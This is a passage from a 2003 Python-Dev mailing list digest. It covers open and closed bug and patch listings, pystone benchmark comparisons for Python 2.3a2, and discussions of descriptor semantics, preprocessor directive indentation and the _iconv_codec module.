	http://python.org/sf/690419
apply fails to check if warning raises exception (2003-02-20)
	http://python.org/sf/690435
test_cpickle overflows stack on MacOS9 (2003-02-21)
	http://python.org/sf/690622
re.LOCALE, umlaut and \w (2003-02-21)
	http://python.org/sf/690974
_POSIX_C_SOURCE redefined (2003-02-21)
	http://python.org/sf/691005
shutil.copytree documentation bug (2003-02-22)
	http://python.org/sf/691276
codecs.open(filename, 'U', 'UTF-16') corrupts text (2003-02-22)
	http://python.org/sf/691291

New Patches
-----------

array.append is sloooow (2003-02-16)
	http://python.org/sf/687598
2.3 .spec file for building RPMs. (2003-02-18)
	http://python.org/sf/688584

Closed Bugs
-----------

Long module names fail on the Mac (2001-09-05)
	http://python.org/sf/458874
standard include paths on command line (2002-07-31)
	http://python.org/sf/589427
Have PythonLauncher use #! line (2003-01-28)
	http://python.org/sf/676358
Whats new: Obligatory source code encodings if not ASCII (2003-02-09)
	http://python.org/sf/683416
bundlebuilder and spaces in filenames (2003-02-12)
	http://python.org/sf/685373
turtle circle() documentation error (2003-02-12)
	http://python.org/sf/685775

Closed Patches
--------------

sys.path[0] should contain absolute pathname (2003-01-08)
	http://python.org/sf/664376
using gcc on cygwin for config (2003-02-05)
	http://python.org/sf/681504
Add download_url to setup() (2003-02-10)
	http://python.org/sf/683939
Fix for verbosity (2003-02-10)
	http://python.org/sf/684398
logging.handlers.SMTPHandler and single 'to' address (2003-02-13)
	http://python.org/sf/686379
add os.sep and friends to os.path (2003-02-13)
	http://python.org/sf/686397
Remove unncessary casts for PyEval_GetFrame() (2003-02-14)
	http://python.org/sf/686601


From guido@python.org  Sun Feb 23 13:20:04 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 23 Feb 2003 08:20:04 -0500
Subject: [Python-Dev] tuning up...
In-Reply-To: "Your message of Sun, 23 Feb 2003 15:02:29 +1000."
 <Pine.OS2.4.44.0302231417070.86-100000@tenring.andymac.org>
References: <Pine.OS2.4.44.0302231417070.86-100000@tenring.andymac.org>
Message-ID: <200302231320.h1NDK4510738@pcp02138704pcs.reston01.va.comcast.net>

> I've just put together a binary distribution of 2.3a2 for OS/2 EMX, and
> for the hell of it compared the pystone ratings of 2.3a2 against 2.2.2
> on 2 different systems.
> 
> Results:
>                2.2.2         2.3a2        change
> system 1       18200         21700         +19.2%
> system 2a       5600          6975         +24.5%
> system 2b       6600          8540         +29.4%
> 
> (Pystone on 2.2.2 adjusted to 50000 loops, average of 3 runs)
> 
> Hardware:
> system 1:  Athlon 1.4GHz, 512MB (PC133), OS/2 v4.0 FP12, gcc 2.8.1 -O2
> system 2a: Via C3 800MHz, 256MB (PC133), OS/2 v4.0 FP15, gcc 2.8.1 -O2
> system 2b:       "      ,   "          , FreeBSD 4.7, gcc 2.95.4 -g -O3

About 10% of the improvement is due to the removal of SET_LINENO
opcodes; to remove this effect, you should compare python2.2 -O to
python2.3.

But the rest is still impressive; I can't remember what we did...

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jacobs@penguin.theopalgroup.com  Sun Feb 23 13:55:53 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Sun, 23 Feb 2003 08:55:53 -0500 (EST)
Subject: [Python-Dev] tuning up...
In-Reply-To: <200302231320.h1NDK4510738@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <Pine.LNX.4.44.0302230853330.1999-100000@penguin.theopalgroup.com>

On Sun, 23 Feb 2003, Guido van Rossum wrote:
> About 10% of the improvement is due to the removal of SET_LINENO
> opcodes; to remove this effect, you should compare python2.2 -O to
> python2.3.
> 
> But the rest is still impressive; I can't remember what we did...


Pymalloc?  New-style object construction speedups?  Faster getitem and
setitem paths?  These are just a few things that made speed differences in
our app.  I'm not familiar enough with pystone to know if (or which) of
these are the lucky winners...

-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From guido@python.org  Sun Feb 23 15:07:00 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 23 Feb 2003 10:07:00 -0500
Subject: [Python-Dev] tuning up...
In-Reply-To: "Your message of Sun, 23 Feb 2003 08:55:53 EST."
 <Pine.LNX.4.44.0302230853330.1999-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302230853330.1999-100000@penguin.theopalgroup.com>
Message-ID: <200302231507.h1NF70911081@pcp02138704pcs.reston01.va.comcast.net>

> > But the rest is still impressive; I can't remember what we did...
> 
> Pymalloc?  New-style object construction speedups?  Faster getitem and
> setitem paths?  These are just a few things that made speed differences in
> our app.  I'm not familiar enough with pystone to know if (or which) of
> these are the lucky winners...

Probably pymalloc, plus some function call speedups that Jeremy added
very recently.  Pystone doesn't use new-style objects.  I don't recall
what we changed in getitem/setitem.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sun Feb 23 15:11:13 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 23 Feb 2003 10:11:13 -0500
Subject: [Python-Dev] Needed: regexp maintainer
Message-ID: <200302231511.h1NFBEa11117@pcp02138704pcs.reston01.va.comcast.net>

I notice with some despair that regular expression bugs and patches in
SF don't get fixed.  Assigning these to effbot seems a black hole.  Is
there someone who would like to take up maintenance of the SRE code?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From dave@boost-consulting.com  Sun Feb 23 18:04:59 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Sun, 23 Feb 2003 13:04:59 -0500
Subject: [Python-Dev] Re: assymetry in descriptor behavior
References: <ur8a0c6de.fsf@boost-consulting.com> <200302230657.h1N6vuj27913@localhost.localdomain>
Message-ID: <uy9467u0k.fsf@boost-consulting.com>

Anthony Baxter <anthony@interlink.com.au> writes:

>>>> David Abrahams wrote
>
>> 3. Is there documentation for __delete__ anywhere?
>
> It seems like it's only in the whatsnew22.tex docs. 
>
> __get__ and __set__ are mentioned in the Doc/ext/newtypes.tex file, 
> but that section is commented out with
>
>   % XXX Descriptors need to be explained in more detail somewhere, but
>   % not here.
>
> Unfortunately they're not anywhere else, either. Any suggestions for
> where they should be documented?

Probably
http://www.python.org/dev/doc/devel/ref/attribute-access.html is the
most logical place for them.

-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From guido@python.org  Sun Feb 23 23:19:51 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 23 Feb 2003 18:19:51 -0500
Subject: [Python-Dev] assymetry in descriptor behavior
In-Reply-To: "Your message of Sat, 22 Feb 2003 17:12:13 EST."
 <ur8a0c6de.fsf@boost-consulting.com>
References: <ur8a0c6de.fsf@boost-consulting.com>
Message-ID: <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net>

> I notice that Python supports this sort of dual access for reading
> attributes and calling static functions, but getting that behavior for
> mutable attributes seems unreasonably difficult: I need a property in
> the metaclass *and* in the class.

I disagree that it is *unreasonably* difficult.  Given that Python
tries to do with a single notation ('.') where C++ has two notations
('.' and '::') to disambiguate cases, not to mention declarations, I
think it is reasonable that this unusual case requires a little more
effort; you should be glad that it's possible at all. :-)

> 1. To throw out a straw-man suggestion, what about adding an
>    additional protocol __set2__ which, if found, will be called
>    instead of __set__ both for reading _and_ writing attributes on the
>    class?

Let me throw out this straw-man right away: I'm not excited about
this.  You can write a metaclass that implements this generically
though.

> 2. What are the optional type=None arguments for?  It seems as though
>    only the middle argument (obj) is ever None.  I just copied this
>    protocol out of descrintro.html

Only __get__ has both obj and type as arguments; __set__ has obj and
value, __delete__ only obj.

__get__ has obj and type because it can be used for instance and class
attribute access.  When called for a class, obj is None because it is
unavailable; but when called for an instance, type is set to obj's
class, for the convenience of descriptors that aren't interested in
the instance (like staticmethod and classmethod).

> 3. Is there documentation for __delete__ anywhere?

Apparently not, but it's easy to guess what it does if you know
__getattr__, __setattr__ and __delattr__.  It's __delete__ and not
__del__ because __del__ is already taken.  In an early alpha release
it was actually __del__, but that didn't work very well. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From dave@boost-consulting.com  Mon Feb 24 00:46:25 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Sun, 23 Feb 2003 19:46:25 -0500
Subject: [Python-Dev] assymetry in descriptor behavior
In-Reply-To: <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net> (Guido
 van Rossum's message of "Sun, 23 Feb 2003 18:19:51 -0500")
References: <ur8a0c6de.fsf@boost-consulting.com>
 <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <uy946fqu6.fsf@boost-consulting.com>

Guido van Rossum <guido@python.org> writes:

>> I notice that Python supports this sort of dual access for reading
>> attributes and calling static functions, but getting that behavior for
>> mutable attributes seems unreasonably difficult: I need a property in
>> the metaclass *and* in the class.
>
> I disagree that it is *unreasonably* difficult.  Given that Python
> tries to do with a single notation ('.') where C++ has two notations
> ('.' and '::') to disambiguate cases

FWIW, it doesn't disambiguate anything:

    class C
    {
       static int x;
    };
    
    C c;
    int y = C::x;
    int z = c.x;

The compiler already knows which of 'C' and 'c' is a typename and
which is an object.  Maybe it's just a pointless syntax difference...

> not to mention declarations, I think it is reasonable that this
> unusual case requires a little more effort; you should be glad that
> it's possible at all. :-)

My heart is full of gladness!

>> 1. To throw out a straw-man suggestion, what about adding an
>>    additional protocol __set2__ which, if found, will be called
>>    instead of __set__ both for reading _and_ writing attributes on the
>>    class?
>
> Let me throw out this straw-man right away: I'm not excited about
> this.  You can write a metaclass that implements this generically
> though.

I considered these two options:

  option 1:
    introduce a separate metaclass for every wrapped class so that we
    have a place to stick a property object.

    option 1a:
        only do this if the user supplies a special extra template
        parameter to the class_<...> declaration

  option 2:
    Implement a special property type which allows us to easily
    identify property attributes which correspond to Boost.Python static
    data members

    Implement a special __setattr__ in the Boost.Python metaclass which
    looks up the attribute on the class to see if it has this special
    type; if so, it is called, and otherwise the default __setattr__
    behavior takes effect.

I was going to go with option 1.  Are you suggesting option 2?

>> 2. What are the optional type=None arguments for?  It seems as though
>>    only the middle argument (obj) is ever None.  I just copied this
>>    protocol out of descrintro.html
>
> Only __get__ has both obj and type as arguments; __set__ has obj and
> value, __delete__ only obj.
>
> __get__ has obj and type because it can be used for instance and class
> attribute access.  When called for a class, obj is None because it is
> unavailable; but when called for an instance, type is set to obj's
> class, for the convenience of descriptors that aren't interested in
> the instance (like staticmethod and classmethod).

Yes, but type is always non-None, it seems. Look at descrintro.html
again.  It says:

    Example: coding super in Python.

    As an illustration of the power of the new system, here's a fully
    functional implementation of the super() built-in class in pure
    Python. This may also help clarify the semantics of super() by
    spelling out the search in ample detail. The print statement at the
    bottom of the following code prints "DCBA".

    class Super(object):
        def __init__(self, type, obj=None):
            self.__type__ = type
            self.__obj__ = obj
        def __get__(self, obj, type=None):
                               ^^^^^^^^^
            if self.__obj__ is None and obj is not None:
                return Super(self.__type__, obj)
            else:
                return self

Also, PEP 252 says:

    - __get__(): a function callable with one or two arguments that
      retrieves the attribute value from an object.

What's that about?  Does __get__ ever get called with just one
argument (excluding self)?  If so, when?

>> 3. Is there documentation for __delete__ anywhere?
>
> Apparently not, but it's easy to guess what it does if you know
> __getattr__, __setattr__ and __delattr__.  It's __delete__ and not
> __del__ because __del__ is already taken.  In an early alpha release
> it was actually __del__, but that didn't work very well. :-)

It's easy enough to guess what it does by instrumenting it, too.
However, it's been out in a released Python for several versions now
and I get tired of guessing every time I have to write a new one of
these ;-).  I think it's time there were some official docs.

-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From guido@python.org  Mon Feb 24 00:53:57 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 23 Feb 2003 19:53:57 -0500
Subject: [Python-Dev] assymetry in descriptor behavior
In-Reply-To: "Your message of Sun, 23 Feb 2003 19:46:25 EST."
 <uy946fqu6.fsf@boost-consulting.com>
References: <ur8a0c6de.fsf@boost-consulting.com>
 <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net>
 <uy946fqu6.fsf@boost-consulting.com>
Message-ID: <200302240053.h1O0rvS11827@pcp02138704pcs.reston01.va.comcast.net>

> FWIW, it doesn't disambiguate anything:

I'm not prepared to argue about C++ with you. :-)

> I considered these two options:
> 
>   option 1:
>     introduce a separate metaclass for every wrapped class so that we
>     have a place to stick a property object.
> 
>     option 1a:
>         only do this if the user supplies a special extra template
>         parameter to the class_<...> declaration
> 
>   option 2:
>     Implement a special property type which allows us to easily
>     identify property attributes which correspond to Boost.Python static
>     data members
> 
>     Implement a special __setattr__ in the Boost.Python metaclass which
>     looks up the attribute on the class to see if it has this special
>     type; if so, it is called, and otherwise the default __setattr__
>     behavior takes effect.
> 
> I was going to go with option 1.  Are you suggesting option 2?

It would seem to be less work than having a separate metaclass for
each class that has a static data item.  But it's really up to you.

> >> 2. What are the optional type=None arguments for?  It seems as though
> >>    only the middle argument (obj) is ever None.  I just copied this
> >>    protocol out of descrintro.html
> >
> > Only __get__ has both obj and type as arguments; __set__ has obj and
> > value, __delete__ only obj.
> >
> > __get__ has obj and type because it can be used for instance and class
> > attribute access.  When called for a class, obj is None because it is
> > unavailable; but when called for an instance, type is set to obj's
> > class, for the convenience of descriptors that aren't interested in
> > the instance (like staticmethod and classmethod).
> 
> Yes, but type is always non-None, it seems.

Yes, that's what I said.

> Look at descrintro.html again.  It says:
> 
>     Example: coding super in Python.
> 
>     As an illustration of the power of the new system, here's a fully
>     functional implementation of the super() built-in class in pure
>     Python. This may also help clarify the semantics of super() by
>     spelling out the search in ample detail. The print statement at the
>     bottom of the following code prints "DCBA".
> 
>     class Super(object):
>         def __init__(self, type, obj=None):
>             self.__type__ = type
>             self.__obj__ = obj
>         def __get__(self, obj, type=None):
>                                ^^^^^^^^^
>             if self.__obj__ is None and obj is not None:
>                 return Super(self.__type__, obj)
>             else:
>                 return self
> 
> Also, PEP 252 says:
> 
>     - __get__(): a function callable with one or two arguments that
>       retrieves the attribute value from an object.
> 
> What's that about?  Does __get__ ever get called with just one
> argument (excluding self)?  If so, when?

When you call it yourself (rather than when it is called as a result
of __getattribute__).  I suppose this is a bit redundant.

> >> 3. Is there documentation for __delete__ anywhere?
> >
> > Apparently not, but it's easy to guess what it does if you know
> > __getattr__, __setattr__ and __delattr__.  It's __delete__ and not
> > __del__ because __del__ is already taken.  In an early alpha release
> > it was actually __del__, but that didn't work very well. :-)
> 
> It's easy enough to guess what it does by instrumenting it, too.
> However, it's been out in a released Python for several versions now
> and I get tired of guessing every time I have to write a new one of
> these ;-).  I think it's time there were some official docs.

So volunteer some.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From dave@boost-consulting.com  Mon Feb 24 02:18:01 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Sun, 23 Feb 2003 21:18:01 -0500
Subject: [Python-Dev] assymetry in descriptor behavior
In-Reply-To: <200302240053.h1O0rvS11827@pcp02138704pcs.reston01.va.comcast.net> (Guido
 van Rossum's message of "Sun, 23 Feb 2003 19:53:57 -0500")
References: <ur8a0c6de.fsf@boost-consulting.com>
 <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net>
 <uy946fqu6.fsf@boost-consulting.com>
 <200302240053.h1O0rvS11827@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <usmuefmli.fsf@boost-consulting.com>

Guido van Rossum <guido@python.org> writes:

>> I considered these two options:
>> 
>>   option 1:
>>     introduce a separate metaclass for every wrapped class so that we
>>     have a place to stick a property object.
>> 
>>     option 1a:
>>         only do this if the user supplies a special extra template
>>         parameter to the class_<...> declaration
>> 
>>   option 2:
>>     Implement a special property type which allows us to easily
>>     identify property attributes which correspond to Boost.Python static
>>     data members
>> 
>>     Implement a special __setattr__ in the Boost.Python metaclass which
>>     looks up the attribute on the class to see if it has this special
>>     type; if so, it is called, and otherwise the default __setattr__
>>     behavior takes effect.
>> 
>> I was going to go with option 1.  Are you suggesting option 2?
>
> It would seem to be less work than having a separate metaclass for
> each class that has a static data item.  But it's really up to you.

My reasoning was:

    it favors speed and code size over data size.  The only downside I
    can see is that an extra object (the metaclass object) is created
    for every wrapped class.  It's also simpler to implement.

However, I think it might also cost an extra property object per
wrapped class, unless I can find a way to get the class and its
instance to share the property.  Hmm, feels a bit hack-ish to me now
that you mention it.  Maybe option 2 is better after all.  But then,
do I want to implement tp_getattr or tp_getattro?  I don't recall the
differences.

>> Yes, but type is always non-None, it seems.
>
> Yes, that's what I said.
>
>> Look at descrintro.html again.  It says:
>> 
>>     Example: coding super in Python.
>> 
>>     As an illustration of the power of the new system, here's a fully
>>     functional implementation of the super() built-in class in pure
>>     Python. This may also help clarify the semantics of super() by
>>     spelling out the search in ample detail. The print statement at the
>>     bottom of the following code prints "DCBA".
>> 
>>     class Super(object):
>>         def __init__(self, type, obj=None):
>>             self.__type__ = type
>>             self.__obj__ = obj
>>         def __get__(self, obj, type=None):
>>                                ^^^^^^^^^
>>             if self.__obj__ is None and obj is not None:
>>                 return Super(self.__type__, obj)
>>             else:
>>                 return self
>> 
>> Also, PEP 252 says:
>> 
>>     - __get__(): a function callable with one or two arguments that
>>       retrieves the attribute value from an object.
>> 
>> What's that about?  Does __get__ ever get called with just one
>> argument (excluding self)?  If so, when?
>
> When you call it yourself (rather than when it is called as a result
> of __getattribute__).  

When do you call it yourself?

> I suppose this is a bit redundant.

I guess; I don't know.  I'm trying to understand whether "callable
with one or two arguments" is really part of the requirements for use
as a property method, or just something that got thrown in there.

>> >> 3. Is there documentation for __delete__ anywhere?
>> >
>> > Apparently not, but it's easy to guess what it does if you know
>> > __getattr__, __setattr__ and __delattr__.  It's __delete__ and not
>> > __del__ because __del__ is already taken.  In an early alpha release
>> > it was actually __del__, but that didn't work very well. :-)
>> 
>> It's easy enough to guess what it does by instrumenting it, too.
>> However, it's been out in a released Python for several versions now
>> and I get tired of guessing every time I have to write a new one of
>> these ;-).  I think it's time there were some official docs.
>
> So volunteer some.

I'm anxious to, and I will -- just as soon as I can get a clear
picture of what I should say.  Gee, I guess "someone" should document
__getattribute__ while I'm in there.  Are there any other obvious
omissions in that neighborhood?

-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From nas@python.ca  Mon Feb 24 02:51:27 2003
From: nas@python.ca (Neil Schemenauer)
Date: Sun, 23 Feb 2003 18:51:27 -0800
Subject: [Python-Dev] Re: [Python-checkins] python/dist/src configure,1.279.6.17,1.279.6.18 configure.in,1.288.6.17,1.288.6.18
In-Reply-To: <E18n5do-00056C-00@sc8-pr-cvs1.sourceforge.net>
References: <E18n5do-00056C-00@sc8-pr-cvs1.sourceforge.net>
Message-ID: <20030224025127.GA10536@glacier.arctrix.com>

nnorwitz@users.sourceforge.net wrote:
> Need to make sure that preprocessor directives start in first column.
> This means we can't indent code which has preprocessor directives,
> nor have a space between [ #include for example.

What does the C standard say about this?  I'm curious.

  Neil


From tim.one@comcast.net  Mon Feb 24 03:29:59 2003
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 23 Feb 2003 22:29:59 -0500
Subject: [Python-Dev] Re: [Python-checkins] python/dist/src
 configure,1.279.6.17,1.279.6.18 configure.in,1.288.6.17,1.288.6.18
In-Reply-To: <20030224025127.GA10536@glacier.arctrix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEAJDPAB.tim.one@comcast.net>

[from a checkin comment]
> Need to make sure that preprocessor directives start in first column.
> This means we can't indent code which has preprocessor directives,
> nor have a space between [ #include for example.

[Neil Schemenauer]
> What does the C standard say about this?  I'm curious.

Spaces and horizontal tabs are fine before '#', and between '#' and the
directive name; other kinds of whitespace are not OK in directive lines (and
directive lines are special this way); sounds like we're catering to a
broken compiler here.



From dave@boost-consulting.com  Mon Feb 24 03:49:25 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Sun, 23 Feb 2003 22:49:25 -0500
Subject: [Python-Dev] assymetry in descriptor behavior
In-Reply-To: <usmuefmli.fsf@boost-consulting.com> (David Abrahams's message
 of "Sun, 23 Feb 2003 21:18:01 -0500")
References: <ur8a0c6de.fsf@boost-consulting.com>
 <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net>
 <uy946fqu6.fsf@boost-consulting.com>
 <200302240053.h1O0rvS11827@pcp02138704pcs.reston01.va.comcast.net>
 <usmuefmli.fsf@boost-consulting.com>
Message-ID: <ur89ymj7e.fsf@boost-consulting.com>

David Abrahams <dave@boost-consulting.com> writes:

>>> It's easy enough to guess what it does by instrumenting it, too.
>>> However, it's been out in a released Python for several versions now
>>> and I get tired of guessing every time I have to write a new one of
>>> these ;-).  I think it's time there were some official docs.
>>
>> So volunteer some.
>
> I'm anxious to, and I will -- just as soon as I can get a clear
> picture of what I should say.  Gee, I guess "someone" should document
> __getattribute__ while I'm in there.  Are there any other obvious
> omissions in that neighborhood?

Didn't want this hanging over my head so I submitted the doc patch
already.  I guess youse guys can clean it up if I made any conceptual
or formatting errors.

-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From mal@lemburg.com  Mon Feb 24 08:20:50 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 24 Feb 2003 09:20:50 +0100
Subject: [Python-Dev] Re: [Python-checkins] python/dist/src	configure,1.279.6.17,1.279.6.18
 configure.in,1.288.6.17,1.288.6.18
In-Reply-To: <20030224025127.GA10536@glacier.arctrix.com>
References: <E18n5do-00056C-00@sc8-pr-cvs1.sourceforge.net> <20030224025127.GA10536@glacier.arctrix.com>
Message-ID: <3E59D5E2.4010504@lemburg.com>

Neil Schemenauer wrote:
> nnorwitz@users.sourceforge.net wrote:
> 
>>Need to make sure that preprocessor directives start in first column.
>>This means we can't indent code which has preprocessor directives,
>>nor have a space between [ #include for example.
> 
> What does the C standard say about this?  I'm curious.

No idea, but emacs mode is pretty clear on this: you don't get
syntax highlighting when moving the # beyond column 1.

What I usually do is to indent the directive after the #:

#ifdef MX_BUILDING_MXDATETIME
# define MXDATETIME_EXTERNALIZE MX_EXPORT
#else
# define MXDATETIME_EXTERNALIZE MX_IMPORT
#endif

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 24 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     36 days left
EuroPython 2003, Charleroi, Belgium:                       120 days left



From andymac@bullseye.apana.org.au  Mon Feb 24 10:38:14 2003
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Mon, 24 Feb 2003 20:38:14 +1000 (est)
Subject: [Python-Dev] tuning up...
In-Reply-To: <200302231320.h1NDK4510738@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <Pine.OS2.4.44.0302241954140.44-100000@tenring.andymac.org>

On Sun, 23 Feb 2003, Guido van Rossum wrote:

> > I've just put together a binary distribution of 2.3a2 for OS/2 EMX, and
> > for the hell of it compared the pystone ratings of 2.3a2 against 2.2.2
> > on 2 different systems.
> >
> > Results:
> >                2.2.2         2.3a2        change
> > system 1       18200         21700         +19.2%
> > system 2a       5600          6975         +24.5%
> > system 2b       6600          8540         +29.4%
> >
> > (Pystone on 2.2.2 adjusted to 50000 loops, average of 3 runs)
> >
> > Hardware:
> > system 1:  Athlon 1.4GHz, 512MB (PC133), OS/2 v4.0 FP12, gcc 2.8.1 -O2
> > system 2a: Via C3 800MHz, 256MB (PC133), OS/2 v4.0 FP15, gcc 2.8.1 -O2
> > system 2b:       "      ,   "          , FreeBSD 4.7, gcc 2.95.4 -g -O3
>
> About 10% of the improvement is due to the removal of SET_LINENO
> opcodes; to remove this effect, you should compare python2.2 -O to
> python2.3.

Ok, for completeness, these are the -O times:

                2.2.2         2.3a2        change
 system 1       20000         21650          +8.2%
 system 2a       6100          6990         +14.5%
 system 2b       7170          8620         +20.2%

Your 10% claim wasn't far off!

I'm still somewhat intrigued by the difference between the systems - IIRC
the C3 CPU has only 64kB of cache, so may be some of the gains are related
to better cache locality (at least for pystone) which is less obvious on
CPUs with more cache.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From guido@python.org  Mon Feb 24 12:40:34 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 24 Feb 2003 07:40:34 -0500
Subject: [Python-Dev] assymetry in descriptor behavior
In-Reply-To: "Your message of Sun, 23 Feb 2003 21:18:01 EST."
 <usmuefmli.fsf@boost-consulting.com>
References: <ur8a0c6de.fsf@boost-consulting.com>
 <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net>
 <uy946fqu6.fsf@boost-consulting.com>
 <200302240053.h1O0rvS11827@pcp02138704pcs.reston01.va.comcast.net>
 <usmuefmli.fsf@boost-consulting.com>
Message-ID: <200302241240.h1OCeYQ12880@pcp02138704pcs.reston01.va.comcast.net>

> However, I think it might also cost an extra property object per
> wrapped class, unless I can find a way to get the class and its
> instance to share the property.  Hmm, feels a bit hack-ish to me now
> that you mention it.  Maybe option 2 is better after all.  But then,
> do I want to implement tp_getattr or tp_getattro?  I don't recall the
> differences.

Definitely tp_getattro.  The difference is that tp_getattr takes a C
string argument and tp_getattr takes a Python string object.

> > When you call it yourself (rather than when it is called as a result
> > of __getattribute__).  
> 
> When do you call it yourself?

I've never called it myself except in the test suite.

> > I suppose this is a bit redundant.
> 
> I guess; I don't know.  I'm trying to understand whether "callable
> with one or two arguments" is really part of the requirements for use
> as a property method, or just something that got thrown in there.

The latter.  The type argument was an afterthought -- I had originally
not thought about class attribute access at all.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Feb 24 13:08:13 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 24 Feb 2003 08:08:13 -0500
Subject: [Python-Dev] _iconv_codec
Message-ID: <200302241308.h1OD8Dn13161@pcp02138704pcs.reston01.va.comcast.net>

Can anybody explain the point of the iconv_codec module to me?  I see
no docs for it, there's a continued stream of bug reports related to
it.  I've heard that it's a wrapper around some 3rd party library, but
that doesn't help me -- I don't know anything about that 3rd party
library module either.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From dave@boost-consulting.com  Mon Feb 24 13:21:59 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Mon, 24 Feb 2003 08:21:59 -0500
Subject: [Python-Dev] assymetry in descriptor behavior
In-Reply-To: <200302241240.h1OCeYQ12880@pcp02138704pcs.reston01.va.comcast.net> (Guido
 van Rossum's message of "Mon, 24 Feb 2003 07:40:34 -0500")
References: <ur8a0c6de.fsf@boost-consulting.com>
 <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net>
 <uy946fqu6.fsf@boost-consulting.com>
 <200302240053.h1O0rvS11827@pcp02138704pcs.reston01.va.comcast.net>
 <usmuefmli.fsf@boost-consulting.com>
 <200302241240.h1OCeYQ12880@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <uheatlsp4.fsf@boost-consulting.com>

Guido van Rossum <guido@python.org> writes:

>> However, I think it might also cost an extra property object per
>> wrapped class, unless I can find a way to get the class and its
>> instance to share the property.  Hmm, feels a bit hack-ish to me now
>> that you mention it.  Maybe option 2 is better after all.  But then,
>> do I want to implement tp_getattr or tp_getattro?  I don't recall the
>> differences.
>
> Definitely tp_getattro.  The difference is that tp_getattr takes a C
                                                  ^^^^^^^^^^
> string argument and tp_getattr takes a Python string object.
                      ^^^^^^^^^^
I guess I can figure out which you mean by looking at the source
(Luke).

>> > When you call it yourself (rather than when it is called as a result
>> > of __getattribute__).  
>> 
>> When do you call it yourself?
>
> I've never called it myself except in the test suite.
>
>> > I suppose this is a bit redundant.
>> 
>> I guess; I don't know.  I'm trying to understand whether "callable
>> with one or two arguments" is really part of the requirements for use
>> as a property method, or just something that got thrown in there.
>
> The latter.  The type argument was an afterthought -- I had originally
> not thought about class attribute access at all.

OK; I hope you like the doc patch I submitted, then.  It doesn't
require "callable with one argument", only two.

-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From perky@fallin.lv  Mon Feb 24 14:08:34 2003
From: perky@fallin.lv (Hye-Shik Chang)
Date: Mon, 24 Feb 2003 23:08:34 +0900
Subject: [Python-Dev] _iconv_codec
In-Reply-To: <200302241308.h1OD8Dn13161@pcp02138704pcs.reston01.va.comcast.net>
References: <200302241308.h1OD8Dn13161@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030224140834.GA2592@fallin.lv>

On Mon, Feb 24, 2003 at 08:08:13AM -0500, Guido van Rossum wrote:
> Can anybody explain the point of the iconv_codec module to me?  I see
> no docs for it, there's a continued stream of bug reports related to
> it.  I've heard that it's a wrapper around some 3rd party library, but
> that doesn't help me -- I don't know anything about that 3rd party
> library module either.
> 
> --Guido van Rossum (home page: http://www.python.org/~guido/)
> 

_iconv_codec wraps around iconv(3) function which is defined in
POSIX. (http://www.opengroup.org/onlinepubs/007904975/functions/iconv.html)
IMHO, we don't need docs for it because no user is expected to access
_iconv_codec directly. It just provides a codec set interface to libiconv
when python doesn't have standard codec for some encoding.

I feel that raising RuntimeError on init_iconv_codec is producing numerous
bug reports. Because insane iconv(3) is fatal for iconv_codec but
not for python, I think it should raise ImportError instead of RuntimeError.

To be honest, there're some minor problems on _iconv_codec that I know,
currently. I'm working on an unified multibyte codec codebase for
{zh,ja,ko,iconv}codecs nowadays. I guess that I can submit fully
reimplemented versions of {zh,ko,iconv}codecs in a week. It will resolve
most problems on now.

Sorry for immature status of _iconv_codec and I will do my best to make it
stable before 2.3b1.

Thank you.


Regards,

    Hye-Shik =)



